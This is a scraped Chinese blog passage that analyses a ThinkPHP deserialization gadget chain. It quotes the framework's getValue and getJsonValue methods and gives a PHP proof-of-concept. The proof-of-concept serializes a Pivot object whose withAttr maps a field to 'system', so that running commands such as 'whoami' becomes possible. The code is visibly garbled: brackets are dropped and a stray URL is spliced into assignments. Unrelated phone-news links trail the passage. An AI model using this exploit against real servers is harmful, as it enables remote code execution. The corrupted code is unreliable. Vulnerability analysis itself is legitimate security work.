进行判断 。 此次漏洞方法的getJsonValue
方法 。 但需要经过两个if判断 , $this->withAttr
和$this->json
都可控 , 可顺利进入getJsonValue
方法 。protected function getValue(string $name $value $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName $this->get)) {
return $this->get[$fieldName
;
$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName
)) {
if ($relation) {
$value = https://mparticle.uc.cn/api/$this->getRelationValue($relation);
if (in_array($fieldName $this->json) && is_array($this->withAttr[$fieldName
)) {
$value = https://mparticle.uc.cn/api/$this->getJsonValue($fieldName $value);
跟进getJsonValue
方法 , 触发漏洞的点在$closure($value[$key
只要令
$value)$this->jsonAssoc
为True
就行 。
$closure
和$value
都可控 。
protected function getJsonValue($name $value)
{
if (is_null($value)) {
return $value;
foreach ($this->withAttr[$name
as $key => $closure) {
if ($this->jsonAssoc) {
$value[$key
= $closure($value[$key
$value);
完整POP链条
POC编写<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = https://mparticle.uc.cn/api/[
;
private $exists = false;
protected $table;
private $withAttr = [
;
protected $json = [
;
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
$this->data = https://mparticle.uc.cn/api/['whoami' => ['dir'
;
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system'
;
$this->json = ['whoami'['whoami'
;
$this->jsonAssoc = True;
namespace think\\model{
use think\\Model;
class Pivot extends Model{
namespace{
echo(base64_encode(serialize(new think\\model\\Pivot(new think\\model\\Pivot()))));
利用
- 魅族|地推拉新赚钱最全攻略,线下推广必知
- 苹果是全球最赚钱的科技公司|苹果手机营收1960亿美元,网友:感谢中国
- 由于最近天天都是写一些关于主流品牌的机型|关于小米note顶配版的一点感想
- 过年回家一下|最便宜的骁龙778g手机,续航最好的5g千元机,活该卖得好
- 阿里巴巴|阿里巴巴创下最慢的季度收入增长,国内稳健,国际还有待提高
- Python|目前最值得入手的五款手机,其中有你在用的吗?
- Python|8天卖出102万台,三星史上最畅销手机诞生
- 大木博士|宝可梦官方正式公开系列最新作品:《宝可梦 朱/紫》
- CPU|3399起!最强性价比旗舰来了:原神30分钟仅38.5℃
- 机械键盘|口碑最好的两款千元机,目前都在降价,这价格真香